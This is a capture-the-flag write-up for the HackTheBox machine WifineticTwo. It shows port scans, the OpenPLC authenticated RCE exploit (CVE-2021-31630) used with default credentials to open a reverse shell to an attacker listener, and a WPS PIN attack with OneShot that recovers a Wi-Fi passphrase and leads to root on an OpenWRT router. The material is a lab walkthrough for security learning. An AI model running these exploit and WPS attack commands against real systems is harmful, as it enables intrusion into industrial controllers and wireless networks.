Summary
This technical writeup covers the WifineticTwo Linux machine on HackTheBox. User access was obtained through a misconfigured and vulnerable version of the OpenPLC application running on the machine. Root access was achieved by connecting to the secured WiFi network by exploiting WPS functionality and an OpenWRT instance running with default settings.
Reconnaissance
Basic Scans
Initial nmap
scans were performed for the full TCP port range and the top 200 UDP ports:
nmap -v -T4 -Pn -A -oA nmap_full_tcp -p 1-65535 10.10.11.7
nmap -v -T4 -Pn -sU --top-ports 200 10.10.11.7
The output revealed three TCP services listening on the target host:
Nmap scan report for 10.10.11.7
Host is up (0.045s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy Werkzeug/1.0.1 Python/2.7.18
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| content-type: text/html; charset=utf-8
| content-length: 232
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqTfFw.EHmnw1qxHDBO_smTRqxKPx8XSxw; Expires=Sat, 27-Jul-2024 11:55:47 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Sat, 27 Jul 2024 11:50:47 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 302 FOUND
| content-type: text/html; charset=utf-8
| content-length: 219
| location: http://0.0.0.0:8080/login
| vary: Cookie
| set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.ZqTfFw.B00JT3mSuac9abHDoo1zDaRAAvs; Expires=Sat, 27-Jul-2024 11:55:47 GMT; HttpOnly; Path=/
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Sat, 27 Jul 2024 11:50:47 GMT
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
| HTTPOptions:
| HTTP/1.0 200 OK
| content-type: text/html; charset=utf-8
| allow: HEAD, OPTIONS, GET
| vary: Cookie
| set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZqTfFw.EHmnw1qxHDBO_smTRqxKPx8XSxw; Expires=Sat, 27-Jul-2024 11:55:47 GMT; HttpOnly; Path=/
| content-length: 0
| server: Werkzeug/1.0.1 Python/2.7.18
| date: Sat, 27 Jul 2024 11:50:47 GMT
| RTSPRequest:
| HTTP/1.1 400 Bad request
| content-length: 90
| cache-control: no-cache
| content-type: text/html
| connection: close
| <html><body><h1>400 Bad request</h1>
| Your browser sent an invalid request.
|_ </body></html>
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.10.11.7:8080/login
1 service unrecognized despite returning data.
Service Identification
22/tcp
Port 22/tcp
was an OpenSSH service. It could allow access to the machine once sufficient credentials are obtained or added to the user’s authorized_keys
file. At this point, nothing could be done with this service.
8080/tcp
Port 8080/tcp
was an instance of a Python-based application running on Werkzeug/1.0.1
with Python/2.7.18
. The application presents itself as OpenPLC
. The software has an authenticated CVE-2021-31630 remote code execution vulnerability.
Foothold
Default credentials for OpenPLC
are openplc/openplc
, which allow logging into this instance of the application.
User Access
The exploit for CVE-2021-31630 allows establishing a reverse shell to our machine:
nc -nlvp 1234
python3 cve_2021_31630.py -u openplc -p openplc -lh 10.10.14.8 -lp 1234 http://10.10.11.7:8080/
------------------------------------------------
--- CVE-2021-31630 -----------------------------
--- OpenPLC WebServer v3 - Authenticated RCE ---
------------------------------------------------
[>] Found By : Fellipe Oliveira
[>] PoC By : thewhiteh4t [ https://twitter.com/thewhiteh4t ]
[>] Target : http://10.10.11.7:8080
[>] Username : openplc
[>] Password : openplc
[>] Timeout : 120 secs
[>] LHOST : 10.10.14.8
[>] LPORT : 1234
[!] Checking status...
[+] Service is Online!
[!] Logging in...
[+] Logged in!
[!] Restoring default program...
[+] PLC Stopped!
[+] Cleanup successful!
[!] Uploading payload...
[+] Payload uploaded!
[+] Waiting for 5 seconds...
[+] Compilation successful!
[!] Starting PLC...
[+] PLC Started! Check listener...
[!] Cleaning up...
[+] PLC Stopped!
[+] Cleanup successful!
We get a reverse shell as the root
user, but this is not the root
from the target machine. It’s an intermediate one. The flag is located under /root/user.txt
.
Privilege Escalation
After looking around, we spot the wlan0 network interface with no active connection:
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:16:3e:fc:91:0c brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 10.0.3.2/24 brd 10.0.3.255 scope global eth0
valid_lft forever preferred_lft forever
inet 10.0.3.52/24 metric 100 brd 10.0.3.255 scope global secondary dynamic eth0
valid_lft 3068sec preferred_lft 3068sec
inet6 fe80::216:3eff:fefc:910c/64 scope link
valid_lft forever preferred_lft forever
5: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000
link/ether 02:00:00:00:02:00 brd ff:ff:ff:ff:ff:ff
but the interface has no active connection. We can look for available networks:
iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
last seen: 7377.904s [boottime]
TSF: 1722086086438617 usec (19931d, 13:14:46)
freq: 2412
beacon interval: 100 TUs
capability: ESS Privacy ShortSlotTime (0x0411)
signal: -30.00 dBm
last seen: 0 ms ago
Information elements from Probe Response frame:
SSID: plcrouter
Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0
DS Parameter set: channel 1
ERP: Barker_Preamble_Mode
Extended supported rates: 24.0 36.0 48.0 54.0
RSN: * Version: 1
* Group cipher: CCMP
* Pairwise ciphers: CCMP
* Authentication suites: PSK
* Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
Supported operating classes:
* current operating class: 81
Extended capabilities:
* Extended Channel Switching
* SSID List
* Operating Mode Notification
WPS: * Version: 1.0
* Wi-Fi Protected Setup State: 2 (Configured)
* Response Type: 3 (AP)
* UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
* Manufacturer:
* Model:
* Model Number:
* Serial Number:
* Primary Device Type: 0-00000000-0
* Device name:
* Config methods: Label, Display, Keypad
* Version2: 2.0
We can see the plcrouter
SSID, so we can attempt to attack it with the OneShot tool.
/usr/bin/python3 oneshot.py -i wlan0 -b "02:00:00:00:02:00" -K
[...snipp...]
WPA PSK: NoWWEDoKnowWhaTisReal123!
AP SSID: plcrouter
WPS PIN: 12345670
[...snipp...]
Now we can connect to the WiFi network:
wpa_passphrase plcrouter NoWWEDoKnowWhaTisReal123! > wifi.conf
wpa_supplicant -B -c wifi.conf -i wlan0
We didn’t get an IP address assigned due to the lack of a DHCP service running in the network, but this can be done manually:
ifconfig wlan0 192.168.1.99 netmask 255.255.255.0
Now we can SSH into the router and grab the root flag:
This worked because, by default, OpenWRT does not have a root password set.